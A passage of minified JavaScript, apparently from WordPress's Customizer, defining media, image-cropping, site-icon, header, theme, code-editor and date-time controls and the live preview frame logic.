t=J.Deferred();n.extended(Y.UploadControl)?t.resolve():(e=parseInt(e,10),_.isNaN(e)||e<=0?(delete n.params.attachment,t.resolve()):n.params.attachment&&n.params.attachment.id===e&&t.resolve()),"pending"===t.state()&&wp.media.attachment(e).fetch().done(function(){n.params.attachment=this.attributes,t.resolve(),wp.customize.previewer.send(n.setting.id+"-attachment-data",this.attributes)}),t.done(function(){n.renderContent()})}_.bindAll(n,"restoreDefault","removeFile","openFrame","select","pausePlayer"),n.container.on("click keydown",".upload-button",n.openFrame),n.container.on("click keydown",".upload-button",n.pausePlayer),n.container.on("click keydown",".thumbnail-image img",n.openFrame),n.container.on("click keydown",".default-button",n.restoreDefault),n.container.on("click keydown",".remove-button",n.pausePlayer),n.container.on("click keydown",".remove-button",n.removeFile),n.container.on("click keydown",".remove-button",n.cleanupPlayer),Y.section(n.section()).container.on("expanded",function(){n.player&&n.player.setControlsSize()}).on("collapsed",function(){n.pausePlayer()}),e(n.setting()),n.setting.bind(e)},pausePlayer:function(){this.player&&this.player.pause()},cleanupPlayer:function(){this.player&&wp.media.mixin.removePlayer(this.player)},openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.frame||this.initFrame(),this.frame.open())},initFrame:function(){this.frame=wp.media({button:{text:this.params.button_labels.frame_button},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:this.params.mime_type}),multiple:!1,date:!1})]}),this.frame.on("select",this.select)},select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.id),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},restoreDefault:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment=this.params.defaultAttachment,this.setting(this.params.defaultAttachment.url))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent())}}),Y.UploadControl=Y.MediaControl.extend({select:function(){var e=this.frame.state().get("selection").first().toJSON(),t=window._wpmejsSettings||{};this.params.attachment=e,this.setting(e.url),(e=this.container.find("audio, video").get(0))?this.player=new MediaElementPlayer(e,t):this.cleanupPlayer()},success:function(){},removerVisibility:function(){}}),Y.ImageControl=Y.UploadControl.extend({thumbnailSrc:function(){}}),Y.BackgroundControl=Y.UploadControl.extend({ready:function(){Y.UploadControl.prototype.ready.apply(this,arguments)},select:function(){Y.UploadControl.prototype.select.apply(this,arguments),wp.ajax.post("custom-background-add",{nonce:_wpCustomizeBackground.nonces.add,wp_customize:"on",customize_theme:Y.settings.theme.stylesheet,attachment_id:this.params.attachment.id})}}),Y.BackgroundPositionControl=Y.Control.extend({ready:function(){var e,n=this;n.container.on("change",'input[name="background-position"]',function(){var e=J(this).val().split(" ");n.settings.x(e[0]),n.settings.y(e[1])}),e=_.debounce(function(){var e=n.settings.x.get(),t=n.settings.y.get(),e=String(e)+" "+String(t);n.container.find('input[name="background-position"][value="'+e+'"]').trigger("click")}),n.settings.x.bind(e),n.settings.y.bind(e),e()}}),Y.CroppedImageControl=Y.MediaControl.extend({openFrame:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(this.initFrame(),this.frame.setState("library").open())},initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.CustomizeImageCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON();this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):(this.setImageFromAttachment(e),this.frame.close())},onCropped:function(e){this.setImageFromAttachment(e)},calculateImageSelectOptions:function(e,t){var n=t.get("control"),i=!!parseInt(n.params.flex_width,10),a=!!parseInt(n.params.flex_height,10),o=e.get("width"),e=e.get("height"),s=parseInt(n.params.width,10),r=parseInt(n.params.height,10),c=s/r,l=o/e,d=s,u=r;return t.set("hasRequiredAspectRatio",n.hasRequiredAspectRatio(c,l)),t.set("suggestedCropSize",{width:o,height:e,x1:0,y1:0,x2:s,y2:r}),t.set("canSkipCrop",!n.mustBeCropped(i,a,s,r,o,e)),c<l?s=(r=e)*c:r=(s=o)/c,!(l={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:o,imageHeight:e,minWidth:s<d?s:d,minHeight:r<u?r:u,x1:t=(o-s)/2,y1:n=(e-r)/2,x2:s+t,y2:r+n})==a&&!1==i&&(l.aspectRatio=s+":"+r),!0==a&&(delete l.minHeight,l.maxWidth=o),!0==i&&(delete l.minWidth,l.maxHeight=e),l},mustBeCropped:function(e,t,n,i,a,o){return(!0!==e||!0!==t)&&!(!0===e&&i===o||!0===t&&n===a||n===a&&i===o||a<=n)},hasRequiredAspectRatio:function(e,t){return Math.abs(e-t)<1e-6},onSkippedCrop:function(){var e=this.frame.state().get("selection").first().toJSON();this.setImageFromAttachment(e)},setImageFromAttachment:function(e){var t=this;this.params.attachment=e,this.setting(e.id),_.defer(function(){var e=t.container.find(".actions .button").first();e.length&&e.focus()})}}),Y.SiteIconControl=Y.CroppedImageControl.extend({initFrame:function(){var e=_wpMediaViewsL10n;this.frame=wp.media({button:{text:e.select,close:!1},states:[new wp.media.controller.Library({title:this.params.button_labels.frame_title,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:this.params.width,suggestedHeight:this.params.height}),new wp.media.controller.SiteIconCropper({imgSelectOptions:this.calculateImageSelectOptions,control:this})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this)},onSelect:function(){var e=this.frame.state().get("selection").first().toJSON(),t=this;this.params.width!==e.width||this.params.height!==e.height||this.params.flex_width||this.params.flex_height?this.frame.setState("cropper"):wp.ajax.post("crop-image",{nonce:e.nonces.edit,id:e.id,context:"site-icon",cropDetails:{x1:0,y1:0,width:this.params.width,height:this.params.height,dst_width:this.params.width,dst_height:this.params.height}}).done(function(e){t.setImageFromAttachment(e),t.frame.close()}).fail(function(){t.frame.trigger("content:error:crop")})},setImageFromAttachment:function(t){var n,i=this;_.each(["site_icon-32","thumbnail","full"],function(e){n||_.isUndefined(t.sizes[e])||(n=t.sizes[e])}),this.params.attachment=t,this.setting(t.id),n&&(J('link[rel="icon"][sizes="32x32"]').attr("href",n.url),_.defer(function(){var e=i.container.find(".actions .button").first();e.length&&e.focus()}))},removeFile:function(e){Y.utils.isKeydownButNotEnterEvent(e)||(e.preventDefault(),this.params.attachment={},this.setting(""),this.renderContent(),J('link[rel="icon"][sizes="32x32"]').attr("href","/favicon.ico"))}}),Y.HeaderControl=Y.Control.extend({ready:function(){this.btnRemove=J("#customize-control-header_image .actions .remove"),this.btnNew=J("#customize-control-header_image .actions .new"),_.bindAll(this,"openMedia","removeImage"),this.btnNew.on("click",this.openMedia),this.btnRemove.on("click",this.removeImage),Y.HeaderTool.currentHeader=this.getInitialHeaderImage(),new Y.HeaderTool.CurrentView({model:Y.HeaderTool.currentHeader,el:"#customize-control-header_image .current .container"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.UploadsList=new Y.HeaderTool.ChoiceList,el:"#customize-control-header_image .choices .uploaded .list"}),new Y.HeaderTool.ChoiceListView({collection:Y.HeaderTool.DefaultsList=new Y.HeaderTool.DefaultsList,el:"#customize-control-header_image .choices .default .list"}),Y.HeaderTool.combinedList=Y.HeaderTool.CombinedList=new Y.HeaderTool.CombinedList([Y.HeaderTool.UploadsList,Y.HeaderTool.DefaultsList]),wp.media.controller.Cropper.prototype.defaults.doCropArgs.wp_customize="on",wp.media.controller.Cropper.prototype.defaults.doCropArgs.customize_theme=Y.settings.theme.stylesheet},getInitialHeaderImage:function(){var e;return Y.get().header_image&&Y.get().header_image_data&&!_.contains(["remove-header","random-default-image","random-uploaded-image"],Y.get().header_image)?(e=(e=_.find(_wpCustomizeHeader.uploads,function(e){return e.attachment_id===Y.get().header_image_data.attachment_id}))||{url:Y.get().header_image,thumbnail_url:Y.get().header_image,attachment_id:Y.get().header_image_data.attachment_id},new Y.HeaderTool.ImageModel({header:e,choice:e.url.split("/").pop()})):new Y.HeaderTool.ImageModel},calculateImageSelectOptions:function(e,t){var n=parseInt(_wpCustomizeHeader.data.width,10),i=parseInt(_wpCustomizeHeader.data.height,10),a=!!parseInt(_wpCustomizeHeader.data["flex-width"],10),o=!!parseInt(_wpCustomizeHeader.data["flex-height"],10),s=e.get("width"),e=e.get("height");return this.headerImage=new Y.HeaderTool.ImageModel,this.headerImage.set({themeWidth:n,themeHeight:i,themeFlexWidth:a,themeFlexHeight:o,imageWidth:s,imageHeight:e}),t.set("canSkipCrop",!this.headerImage.shouldBeCropped()),(t=n/i)<s/e?n=(i=e)*t:i=(n=s)/t,!(t={handles:!0,keys:!0,instance:!0,persistent:!0,imageWidth:s,imageHeight:e,x1:0,y1:0,x2:n,y2:i})==o&&!1==a&&(t.aspectRatio=n+":"+i),!1==o&&(t.maxHeight=i),!1==a&&(t.maxWidth=n),t},openMedia:function(e){var t=_wpMediaViewsL10n;e.preventDefault(),this.frame=wp.media({button:{text:t.selectAndCrop,close:!1},states:[new wp.media.controller.Library({title:t.chooseImage,library:wp.media.query({type:"image"}),multiple:!1,date:!1,priority:20,suggestedWidth:_wpCustomizeHeader.data.width,suggestedHeight:_wpCustomizeHeader.data.height}),new wp.media.controller.Cropper({imgSelectOptions:this.calculateImageSelectOptions})]}),this.frame.on("select",this.onSelect,this),this.frame.on("cropped",this.onCropped,this),this.frame.on("skippedcrop",this.onSkippedCrop,this),this.frame.open()},onSelect:function(){this.frame.setState("cropper")},onCropped:function(e){var t=e.url;this.setImageFromURL(t,e.attachment_id,e.width,e.height)},onSkippedCrop:function(e){var t=e.get("url"),n=e.get("width"),i=e.get("height");this.setImageFromURL(t,e.id,n,i)},setImageFromURL:function(e,t,n,i){var a={};a.url=e,a.thumbnail_url=e,a.timestamp=_.now(),t&&(a.attachment_id=t),n&&(a.width=n),i&&(a.height=i),t=new Y.HeaderTool.ImageModel({header:a,choice:e.split("/").pop()}),Y.HeaderTool.UploadsList.add(t),Y.HeaderTool.currentHeader.set(t.toJSON()),t.save(),t.importImage()},removeImage:function(){Y.HeaderTool.currentHeader.trigger("hide"),Y.HeaderTool.CombinedList.trigger("control:removeImage")}}),Y.ThemeControl=Y.Control.extend({touchDrag:!1,screenshotRendered:!1,ready:function(){var n=this,e=Y.panel("themes");function t(){return!e.canSwitchTheme(n.params.theme.id)}function i(){n.container.find("button.preview, button.preview-theme").toggleClass("disabled",t()),n.container.find("button.theme-install").toggleClass("disabled",t()||!1===Y.settings.theme._canInstall||!0===Y.settings.theme._filesystemCredentialsNeeded)}Y.state("selectedChangesetStatus").bind(i),Y.state("changesetStatus").bind(i),i(),n.container.on("touchmove",".theme",function(){n.touchDrag=!0}),n.container.on("click keydown touchend",".theme",function(e){var t;if(!Y.utils.isKeydownButNotEnterEvent(e))return!0===n.touchDrag?n.touchDrag=!1:void(J(e.target).is(".theme-actions .button, .update-theme")||(e.preventDefault(),(t=Y.section(n.section())).showDetails(n.params.theme,function(){Y.settings.theme._filesystemCredentialsNeeded&&t.overlay.find(".theme-actions .delete-theme").remove()})))}),n.container.on("render-screenshot",function(){var e=J(this).find("img"),t=e.data("src");t&&e.attr("src",t),n.screenshotRendered=!0})},filter:function(e){var t=this,n=0,i=(i=t.params.theme.name+" "+t.params.theme.description+" "+t.params.theme.tags+" "+t.params.theme.author+" ").toLowerCase().replace("-"," ");return _.isArray(e)||(e=[e]),t.params.theme.name.toLowerCase()===e.join(" ")?n=100:(n+=10*(i.split(e.join(" ")).length-1),_.each(e,function(e){n=(n+=2*(i.split(e+" ").length-1))+i.split(e).length-1}),99<n&&(n=99)),0!==n?(t.activate(),t.params.priority=101-n,!0):(t.deactivate(),!(t.params.priority=101))},rerenderAsInstalled:function(e){var t=this;e?t.params.theme.type="installed":(e=Y.section(t.params.section),t.params.theme.type=e.params.action),t.renderContent(),t.container.trigger("render-screenshot")}}),Y.CodeEditorControl=Y.Control.extend({initialize:function(e,t){var n=this;n.deferred=_.extend(n.deferred||{},{codemirror:J.Deferred()}),Y.Control.prototype.initialize.call(n,e,t),n.notifications.bind("add",function(e){var t;e.code===n.setting.id+":csslint_error"&&(e.templateId="customize-code-editor-lint-error-notification",e.render=(t=e.render,function(){var e=t.call(this);return e.find("input[type=checkbox]").on("click",function(){n.setting.notifications.remove("csslint_error")}),e}))})},ready:function(){var i=this;i.section()?Y.section(i.section(),function(n){n.deferred.embedded.done(function(){var t;n.expanded()?i.initEditor():n.expanded.bind(t=function(e){e&&(i.initEditor(),n.expanded.unbind(t))})})}):i.initEditor()},initEditor:function(){var e,t=this,n=!1;wp.codeEditor&&(_.isUndefined(t.params.editor_settings)||!1!==t.params.editor_settings)&&((n=wp.codeEditor.defaultSettings?_.clone(wp.codeEditor.defaultSettings):{}).codemirror=_.extend({},n.codemirror,{indentUnit:2,tabSize:2}),_.isObject(t.params.editor_settings))&&_.each(t.params.editor_settings,function(e,t){_.isObject(e)&&(n[t]=_.extend({},n[t],e))}),e=new Y.Element(t.container.find("textarea")),t.elements.push(e),e.sync(t.setting),e.set(t.setting()),n?t.initSyntaxHighlightingEditor(n):t.initPlainTextareaEditor()},focus:function(e){var t=this,e=_.extend({},e),n=e.completeCallback;e.completeCallback=function(){n&&n(),t.editor&&t.editor.codemirror.focus()},Y.Control.prototype.focus.call(t,e)},initSyntaxHighlightingEditor:function(e){var t=this,n=t.container.find("textarea"),i=!1,e=_.extend({},e,{onTabNext:_.bind(t.onTabNext,t),onTabPrevious:_.bind(t.onTabPrevious,t),onUpdateErrorNotice:_.bind(t.onUpdateErrorNotice,t)});t.editor=wp.codeEditor.initialize(n,e),J(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-label":t.params.label,"aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),t.container.find("label").on("click",function(){t.editor.codemirror.focus()}),t.editor.codemirror.on("change",function(e){i=!0,n.val(e.getValue()).trigger("change"),i=!1}),t.setting.bind(function(e){i||t.editor.codemirror.setValue(e)}),t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}),t.deferred.codemirror.resolveWith(t,[t.editor.codemirror])},onTabNext:function(){var e=Y.section(this.section()).controls(),t=e.indexOf(this);e.length===t+1?J("#customize-footer-actions .collapse-sidebar").trigger("focus"):e[t+1].container.find(":focusable:first").focus()},onTabPrevious:function(){var e=Y.section(this.section()),t=e.controls(),n=t.indexOf(this);(0===n?e.contentContainer.find(".customize-section-title .customize-help-toggle, .customize-section-title .customize-section-description.open .section-description-close").last():t[n-1].contentContainer.find(":focusable:first")).focus()},onUpdateErrorNotice:function(e){this.setting.notifications.remove("csslint_error"),0!==e.length&&(e=1===e.length?Y.l10n.customCssError.singular.replace("%d","1"):Y.l10n.customCssError.plural.replace("%d",String(e.length)),this.setting.notifications.add(new Y.Notification("csslint_error",{message:e,type:"error"})))},initPlainTextareaEditor:function(){var a=this.container.find("textarea"),o=a[0];a.on("blur",function(){a.data("next-tab-blurs",!1)}),a.on("keydown",function(e){var t,n,i;27===e.keyCode?a.data("next-tab-blurs")||(a.data("next-tab-blurs",!0),e.stopPropagation()):9!==e.keyCode||e.ctrlKey||e.altKey||e.shiftKey||a.data("next-tab-blurs")||(t=o.selectionStart,n=o.selectionEnd,i=o.value,0<=t&&(o.value=i.substring(0,t).concat("\t",i.substring(n)),a.selectionStart=o.selectionEnd=t+1),e.stopPropagation(),e.preventDefault())}),this.deferred.codemirror.rejectWith(this)}}),Y.DateTimeControl=Y.Control.extend({ready:function(){var i=this;if(i.inputElements={},i.invalidDate=!1,_.bindAll(i,"populateSetting","updateDaysForMonth","populateDateInputs"),!i.setting)throw new Error("Missing setting");i.container.find(".date-input").each(function(){var e=J(this),t=e.data("component"),n=new Y.Element(e);i.inputElements[t]=n,i.elements.push(n),e.on("change",function(){i.invalidDate&&i.notifications.add(new Y.Notification("invalid_date",{message:Y.l10n.invalidDate}))}),e.on("input",_.debounce(function(){i.invalidDate||i.notifications.remove("invalid_date")})),e.on("blur",_.debounce(function(){i.invalidDate||i.populateDateInputs()}))}),i.inputElements.month.bind(i.updateDaysForMonth),i.inputElements.year.bind(i.updateDaysForMonth),i.populateDateInputs(),i.setting.bind(i.populateDateInputs),_.each(i.inputElements,function(e){e.bind(i.populateSetting)})},parseDateTime:function(e){var t;return(t=e?e.match(/^(\d\d\d\d)-(\d\d)-(\d\d)(?: (\d\d):(\d\d)(?::(\d\d))?)?$/):t)?(t.shift(),e={year:t.shift(),month:t.shift(),day:t.shift(),hour:t.shift()||"00",minute:t.shift()||"00",second:t.shift()||"00"},this.params.includeTime&&this.params.twelveHourFormat&&(e.hour=parseInt(e.hour,10),e.meridian=12<=e.hour?"pm":"am",e.hour=e.hour%12?String(e.hour%12):String(12),delete e.second),e):null},validateInputs:function(){var e,i,a=this;return a.invalidDate=!1,e=["year","day"],a.params.includeTime&&e.push("hour","minute"),_.find(e,function(e){var t,n,e=a.inputElements[e];return i=e.element.get(0),t=parseInt(e.element.attr("max"),10),n=parseInt(e.element.attr("min"),10),e=parseInt(e(),10),a.invalidDate=isNaN(e)||t<e||e<n,a.invalidDate||i.setCustomValidity(""),a.invalidDate}),a.inputElements.meridian&&!a.invalidDate&&(i=a.inputElements.meridian.element.get(0),"am"!==a.inputElements.meridian.get()&&"pm"!==a.inputElements.meridian.get()?a.invalidDate=!0:i.setCustomValidity("")),a.invalidDate?i.setCustomValidity(Y.l10n.invalidValue):i.setCustomValidity(""),(!a.section()||Y.section.has(a.section())&&Y.section(a.section()).expanded())&&_.result(i,"reportValidity"),a.invalidDate},updateDaysForMonth:function(){var e=this,t=parseInt(e.inputElements.month(),10),n=parseInt(e.inputElements.year(),10),i=parseInt(e.inputElements.day(),10);t&&n&&(n=new Date(n,t,0).getDate(),e.inputElements.day.element.attr("max",n),n<i)&&e.inputElements.day(String(n))},populateSetting:function(){var e,t=this;return!(t.validateInputs()||!t.params.allowPastDate&&!t.isFutureDate()||(e=t.convertInputDateToString(),t.setting.set(e),0))},convertInputDateToString:function(){var e,n=this,t="",i=function(e,t){return String(e).length<t&&(t=t-String(e).length,e=Math.pow(10,t).toString().substr(1)+String(e)),e},a=function(e){var t=parseInt(n.inputElements[e].get(),10);return _.contains(["month","day","hour","minute"],e)?t=i(t,2):"year"===e&&(t=i(t,4)),t},o=["year","-","month","-","day"];return n.params.includeTime&&(e=n.inputElements.meridian?n.convertHourToTwentyFourHourFormat(n.inputElements.hour(),n.inputElements.meridian()):n.inputElements.hour(),o=o.concat([" ",i(e,2),":","minute",":","00"])),_.each(o,function(e){t+=n.inputElements[e]?a(e):e}),t},isFutureDate:function(){return 0<Y.utils.getRemainingTime(this.convertInputDateToString())},convertHourToTwentyFourHourFormat:function(e,t){e=parseInt(e,10);return isNaN(e)?"":(t="pm"===t&&e<12?e+12:"am"===t&&12===e?e-12:e,String(t))},populateDateInputs:function(){var i=this.parseDateTime(this.setting.get());return!!i&&(_.each(this.inputElements,function(e,t){var n=i[t];"month"===t||"meridian"===t?(n=n.replace(/^0/,""),e.set(n)):(n=parseInt(n,10),e.element.is(document.activeElement)?n!==parseInt(e(),10)&&e.set(String(n)):e.set(i[t]))}),!0)},toggleFutureDateNotification:function(e){var t="not_future_date";return e?(e=new Y.Notification(t,{type:"error",message:Y.l10n.futureDateError}),this.notifications.add(e)):this.notifications.remove(t),this}}),Y.PreviewLinkControl=Y.Control.extend({defaults:_.extend({},Y.Control.prototype.defaults,{templateId:"customize-preview-link-control"}),ready:function(){var e,t,n,i,a,o=this;_.bindAll(o,"updatePreviewLink"),o.setting||(o.setting=new Y.Value),o.previewElements={},o.container.find(".preview-control-element").each(function(){t=J(this),e=t.data("component"),t=new Y.Element(t),o.previewElements[e]=t,o.elements.push(t)}),n=o.previewElements.url,i=o.previewElements.input,a=o.previewElements.button,i.link(o.setting),n.link(o.setting),n.bind(function(e){n.element.parent().attr({href:e,target:Y.settings.changeset.uuid})}),Y.bind("ready",o.updatePreviewLink),Y.state("saved").bind(o.updatePreviewLink),Y.state("changesetStatus").bind(o.updatePreviewLink),Y.state("activated").bind(o.updatePreviewLink),Y.previewer.previewUrl.bind(o.updatePreviewLink),a.element.on("click",function(e){e.preventDefault(),o.setting()&&(i.element.select(),document.execCommand("copy"),a(a.element.data("copied-text")))}),n.element.parent().on("click",function(e){J(this).hasClass("disabled")&&e.preventDefault()}),a.element.on("mouseenter",function(){o.setting()&&a(a.element.data("copy-text"))})},updatePreviewLink:function(){var e=!Y.state("saved").get()||""===Y.state("changesetStatus").get()||"auto-draft"===Y.state("changesetStatus").get();this.toggleSaveNotification(e),this.previewElements.url.element.parent().toggleClass("disabled",e),this.previewElements.button.element.prop("disabled",e),this.setting.set(Y.previewer.getFrontendPreviewUrl())},toggleSaveNotification:function(e){var t="changes_not_saved";e?(e=new Y.Notification(t,{type:"info",message:Y.l10n.saveBeforeShare}),this.notifications.add(e)):this.notifications.remove(t)}}),Y.defaultConstructor=Y.Setting,Y.control=new Y.Values({defaultConstructor:Y.Control}),Y.section=new Y.Values({defaultConstructor:Y.Section}),Y.panel=new Y.Values({defaultConstructor:Y.Panel}),Y.notifications=new Y.Notifications,Y.PreviewFrame=Y.Messenger.extend({sensitivity:null,initialize:function(e,t){var n=J.Deferred();n.promise(this),this.container=e.container,J.extend(e,{channel:Y.PreviewFrame.uuid()}),Y.Messenger.prototype.initialize.call(this,e,t),this.add("previewUrl",e.previewUrl),this.query=J.extend(e.query||{},{customize_messenger_channel:this.channel()}),this.run(n)},run:function(t){var e,n,i,a=this,o=!1,s=!1,r=null,c="{}"!==a.query.customized;a._ready&&a.unbind("ready",a._ready),a._ready=function(e){s=!0,r=e,a.container.addClass("iframe-ready"),e&&o&&t.resolveWith(a,[e])},a.bind("ready",a._ready),(e=document.createElement("a")).href=a.previewUrl(),n=_.extend(Y.utils.parseQueryString(e.search.substr(1)),{customize_changeset_uuid:a.query.customize_changeset_uuid,customize_theme:a.query.customize_theme,customize_messenger_channel:a.query.customize_messenger_channel}),!Y.settings.changeset.autosaved&&Y.state("saved").get()||(n.customize_autosaved="on"),e.search=J.param(n),a.iframe=J("<iframe />",{title:Y.l10n.previewIframeTitle,name:"customize-"+a.channel()}),a.iframe.attr("onmousewheel",""),a.iframe.attr("sandbox","allow-forms allow-modals allow-orientation-lock allow-pointer-lock allow-popups allow-popups-to-escape-sandbox allow-presentation allow-same-origin allow-scripts"),c?a.iframe.attr("data-src",e.href):a.iframe.attr("src",e.href),a.iframe.appendTo(a.container),a.targetWindow(a.iframe[0].contentWindow),c&&((i=J("<form>",{action:e.href,target:a.iframe.attr("name"),method:"post",hidden:"hidden"})).append(J("<input>",{type:"hidden",name:"_method",value:"GET"})),_.each(a.query,function(e,t){i.append(J("<input>",{type:"hidden",name:t,value:e}))}),a.container.append(i),i.trigger("submit"),i.remove()),a.bind("iframe-loading-error",function(e){a.iframe.remove(),0===e?a.login(t):-1===e?t.rejectWith(a,["cheatin"]):t.rejectWith(a,["request failure"])}),a.iframe.one("load",function(){o=!0,s?t.resolveWith(a,[r]):setTimeout(function(){t.rejectWith(a,["ready timeout"])},a.sensitivity)})},login:function(n){var i=this,a=function(){n.rejectWith(i,["logged out"])};if(this.triedLogin)return a();J.get(Y.settings.url.ajax,{action:"logged-in"}).fail(a).done(function(e){var t;"1"!==e&&a(),(t=J("<iframe />",{src:i.previewUrl(),title:Y.l10n.previewIframeTitle}).hide()).appendTo(i.container),t.on("load",function(){i.triedLogin=!0,t.remove(),i.run(n)})})},destroy:function(){Y.Messenger.prototype.destroy.call(this),this.iframe&&this.iframe.remove(),delete this.iframe,delete this.targetWindow}}),i=0,Y.PreviewFrame.uuid=function(){return"preview-"+String(i++)},Y.setDocumentTitle=function(e){e=Y.settings.documentTitleTmpl.replace("%s",e);document.title=e,Y.trigger("title",e)},Y.Previewer=Y.Messenger.extend({refreshBuffer:null,initialize:function(e,t){var n,o=this,i=document.createElement("a");J.extend(o,t||{}),o.deferred={active:J.Deferred()},o.refresh=_.debounce((n=o.refresh,function(){var e,t=function(){return 0===Y.state("processing").get()};t()?n.call(o):(e=function(){t()&&(n.call(o),Y.state("processing").unbind(e))},Y.state("processing").bind(e))}),o.refreshBuffer),o.container=Y.ensure(e.container),o.allowedUrls=e.allowedUrls,e.url=window.location.href,Y.Messenger.prototype.initialize.call(o,e),i.href=o.origin(),o.add("scheme",i.protocol.replace(/:$/,"")),o.add("previewUrl",e.previewUrl).setter(function(e){var n,i=null,t=[],a=document.createElement("a");return a.href=e,/\/wp-(admin|includes|content)(\/|$)/.test(a.pathname)?null:(1<a.search.length&&(delete(e=Y.utils.parseQueryString(a.search.substr(1))).customize_changeset_uuid,delete e.customize_theme,delete e.customize_messenger_channel,delete e.customize_autosaved,_.isEmpty(e)?a.search="":a.search=J.param(e)),t.push(a),o.scheme.get()+":"!==a.protocol&&((a=document.createElement("a")).href=t[0].href,a.protocol=o.scheme.get()+":",t.unshift(a)),n=document.createElement("a"),_.find(t,function(t){return!_.isUndefined(_.find(o.allowedUrls,function(e){if(n.href=e,a.protocol===n.protocol&&a.host===n.host&&0===a.pathname.indexOf(n.pathname.replace(/\/$/,"")))return i=t.href,!0}))}),i)}),o.bind("ready",o.ready),o.deferred.active.done(_.bind(o.keepPreviewAlive,o)),o.bind("synced",function(){o.send("active")}),o.previewUrl.bind(o.refresh),o.scroll=0,o.bind("scroll",function(e){o.scroll=e}),o.bind("url",function(e){var t,n=!1;o.scroll=0,o.previewUrl.bind(t=function(){n=!0}),o.previewUrl.set(e),o.previewUrl.unbind(t),n||o.refresh()}),o.bind("documentTitle",function(e){Y.setDocumentTitle(e)})},ready:function(e){var t=this,n={};n.settings=Y.get(),n["settings-modified-while-loading"]=t.settingsModifiedWhileLoading,"resolved"===t.deferred.active.state()&&!t.loading||(n.scroll=t.scroll),n["edit-shortcut-visibility"]=Y.state("editShortcutVisibility").get(),t.send("sync",n),e.currentUrl&&(t.previewUrl.unbind(t.refresh),t.previewUrl.set(e.currentUrl),t.previewUrl.bind(t.refresh)),_({panel:e.activePanels,section:e.activeSections,control:e.activeControls}).each(function(n,i){Y[i].each(function(e,t){_.isUndefined(Y.settings[i+"s"][t])&&_.isUndefined(n[t])||(n[t]?e.activate():e.deactivate())})}),e.settingValidities&&Y._handleSettingValidities({settingValidities:e.settingValidities,focusInvalidControl:!1})},keepPreviewAlive:function(){var e,t=function(){e=setTimeout(i,Y.settings.timeouts.keepAliveCheck)},n=function(){Y.state("previewerAlive").set(!0),clearTimeout(e),t()},i=function(){Y.state("previewerAlive").set(!1)};t(),this.bind("ready",n),this.bind("keep-alive",n)},query:function(){},abort:function(){this.loading&&(this.loading.destroy(),delete this.loading)},refresh:function(){var e,i=this;i.send("loading-initiated"),i.abort(),i.loading=new Y.PreviewFrame({url:i.url(),previewUrl:i.previewUrl(),query:i.query({excludeCustomizedSaved:!0})||{},container:i.container}),i.settingsModifiedWhileLoading={},Y.bind("change",e=function(e){i.settingsModifiedWhileLoading[e.id]=!0}),i.loading.always(function(){Y.unbind("change",e)}),i.loading.done(function(e){var t,n=this;i.preview=n,i.targetWindow(n.targetWindow()),i.channel(n.channel()),t=function(){n.unbind("synced",t),i._previousPreview&&i._previousPreview.destroy(),i._previousPreview=i.preview,i.deferred.active.resolve(),delete i.loading},n.bind("synced",t),i.trigger("ready",e)}),i.loading.fail(function(e){i.send("loading-failed"),"logged out"===e&&(i.preview&&(i.preview.destroy(),delete i.preview),i.login().done(i.refresh)),"cheatin"===e&&i.cheatin()})},login:function(){var t,n,i,a=this;return this._login||(t=J.Deferred(),this._login=t.promise(),n=new Y.Messenger({channel:"login",url:Y.settings.url.login}),i=J("<iframe />",{src:Y.settings.url.login,title:Y.l10n.loginIframeTitle}).appendTo(this.container),n.targetWindow(i[0].contentWindow),n.bind("login",function(){var e=a.refreshNonces();e.always(function(){i.remove(),n.destroy(),delete a._login}),e.done(function(){t.resolve()}),e.fail(function(){a.cheatin(),t.reject()})})),this._login},cheatin:function(){J(document.body).empty().addClass("cheatin").append("<h1>"+Y.l10n.notAllowedHeading+"</h1><p>"+Y.l10n.notAllowed+"</p>")},refreshNonces:function(){var e,t=J.Deferred();return t.promise(),(e=wp.ajax.post("customize_refresh_nonces",{wp_customize:"on",customize_theme:Y.settings.theme.stylesheet})).done(function(e){Y.trigger("nonce-refresh",e),t.resolve()}),e.fail(function(){t.reject()}),t}}),Y.settingConstructor={},Y.controlConstructor={color:Y.ColorControl,media:Y.MediaControl,upload:Y.UploadControl,image:Y.ImageControl,cropped_image:Y.CroppedImageControl,site_icon:Y.SiteIconControl,header:Y.HeaderControl,background:Y.BackgroundControl,background_position:Y.BackgroundPositionControl,theme:Y.ThemeControl,date_time:Y.DateTimeControl,code_editor:Y.CodeEditorControl},Y.panelConstructor={themes:Y.ThemesPanel},Y.sectionConstructor={themes:Y.ThemesSection,outer:Y.OuterSection},Y._handleSettingValidities=function(e){var o=[],n=!1;_.each(e.settingValidities,function(t,e){var a=Y(e);a&&(_.isObject(t)&&_.each(t,function(e,t){var n=!1,e=new 